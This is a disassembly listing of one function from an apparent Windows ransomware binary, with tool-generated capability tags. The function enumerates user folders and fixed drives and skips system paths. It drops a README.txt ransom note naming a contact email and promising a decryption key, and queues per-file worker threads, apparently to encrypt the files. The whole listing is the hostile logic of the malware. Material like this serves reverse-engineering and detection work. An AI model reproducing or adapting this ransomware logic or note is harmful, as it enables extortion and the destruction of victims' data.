Function at 0x140001700
Capabilities:
Enumerate files on windows
Get common file path
Get disk information

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x6d0]
sub rsp, 0x7d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
vmovups xmm1, xmmword [0x140004460]
vmovups xmm0, xmmword [0x140004420]
vmovups xmm2, xmmword [0x140004450]
vmovups xmmword [rbp + 0xd0], xmm1
vmovups xmm1, xmmword [0x140004440]
vmovups xmmword [rbp + 0xc0], xmm0
vmovups xmm0, xmmword [0x140004480]
vmovups xmmword [rbp + 0xf0], xmm1
vmovups xmm1, xmmword [0x140004490]
vmovups xmmword [rbp + 0xe0], xmm0
vmovups xmm0, xmmword [0x140004470]
vmovups xmmword [rbp + 0x110], xmm1
vmovups xmm1, xmmword [0x140004430]
vmovups xmmword [rbp + 0x100], xmm0
vmovups xmm0, xmmword [0x1400044a0]
vmovups xmmword [rbp + 0x130], xmm1
vmovups xmm1, xmmword [0x1400044b0]
mov qword [rsp + 0x7c8], r12
mov r14, rcx
vmovq rax, xmm1
vmovups xmmword [rbp + 0x120], xmm0
vmovups xmm0, xmmword [0x140004410]
xor r12d, r12d
mov qword [rsp + 0x38], 0
vmovq rcx, xmm2
mov rdi, r8
mov r15, rdx
vmovups xmmword [rbp + 0xb0], xmm2
vmovups xmmword [rbp + 0x140], xmm0
vmovups xmmword [rbp + 0x150], xmm1
cmp rcx, rax
jne 0x140001819
vpextrq rcx, xmm2, 1
vpextrq rax, xmm1, 1
cmp rcx, rax
je 0x140001ba4
mov qword [rsp + 0x818], rsi
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x7c0], r13
lea rbx, str.C:UsersDefault
lea r13, str.C:Windows
lea rsi, str.C:UsersPublic
nop word [rax + rax]
lea r9, [rsp + 0x38]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140001b5f
mov rdx, qword [rsp + 0x38]
lea rcx, [rbp + 0x160]
mov r8d, 0x104
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov qword [rsp + 0x48], rbx
mov rax, r13
xor ebx, ebx
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0
nop dword [rax]
mov rdx, rax
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001b4d
mov rax, qword [rsp + rbx*8 + 0x48]
inc rbx
test rax, rax
jne 0x1400018a0
lea r9, [rbp + 0x160]
mov edx, 0x104
lea r8, str._s
lea rcx, [rbp + 0x490]
call fcn.1400010c0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b46
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x64]
lea r9, [0x140006174]
sub r9, rcx
nop
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140001935
inc rcx
test edx, edx
jne 0x140001920
test r8d, r8d
je 0x140001b27
lea rax, [rbp - 0x64]
lea r8, [0x140006170]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001963
inc rax
test ecx, ecx
jne 0x140001950
test edx, edx
je 0x140001b27
lea rax, [rbp - 0x64]
mov edx, 0x104
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x380]
call fcn.1400010c0
test byte [rsp + 0x70], 0x10
je 0x1400019bc
mov r9d, 1
mov qword [rsp + 0x20], rdi
mov r8, r15
lea rcx, [rbp + 0x380]
mov rdx, r14
call fcn.1400013c0
jmp 0x140001b27
mov edx, 0x2e
lea rcx, [rbp - 0x64]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r9, [rbp + 0x160]
mov edx, 0x104
lea r8, str._sREADME.txt
mov rbx, rax
lea rcx, [rbp + 0x270]
call fcn.1400010c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001aaf
test rbx, rbx
je 0x140001a24
lea rdx, str..lnk
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001aaf
lea r9, [rbp + 0x160]
mov edx, 0x104
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x270]
call fcn.1400010c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001aaf
lea r9, [rbp + 0x160]
mov edx, 0x104
lea r8, [0x140006290]
lea rcx, [rbp + 0x5a0]
call fcn.1400010c0
lea rdx, [0x140006288]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001aaf
mov r8, rdi
lea rdx, str.Your_files_have_been_fucked._nYour_personal_ID:__s_nWhat_can_you_do__nEmail_d3cryptme_firemail.cc_with_your_personal_ID_n_You_will_get_a_invite_to_a_chess_game_n_If_you_win__you_get_the_decryption_key_n
mov rcx, rax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x38
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001b27
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbx], rax
test rax, rax
je 0x140001b1e
vmovups ymm0, ymmword [r14]
vmovups ymmword [rbx + 8], ymm0
vmovups xmm0, xmmword [r15]
vmovups xmmword [rbx + 0x28], xmm0
lea r8, [0x140006900]
mov rdx, rbx
lea rcx, [0x140001120]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
je 0x140001b15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x140001b27
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001910
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rsi, str.C:UsersPublic
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rbx, str.C:UsersDefault
inc r12d
lea rcx, [rbp + 0xb0]
movsxd rax, r12d
shl rax, 4
add rcx, rax
mov rax, qword [rcx]
cmp rax, qword [0x1400044b0]
jne 0x140001850
mov rax, qword [rcx + 8]
cmp rax, qword [0x1400044b8]
jne 0x140001850
mov r13, qword [rsp + 0x7c0]
mov rsi, qword [rsp + 0x818]
mov r12, qword [rsp + 0x7c8]
mov bl, 0x41
nop
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], bl
mov word [rsp + 0x31], 0x5c3a
mov byte [rsp + 0x33], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x140001be8
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r8, r15
lea rcx, [rsp + 0x30]
mov rdx, r14
call fcn.1400013c0
inc bl
cmp bl, 0x5a
jle 0x140001bb0
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.140002190
add rsp, 0x7d0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret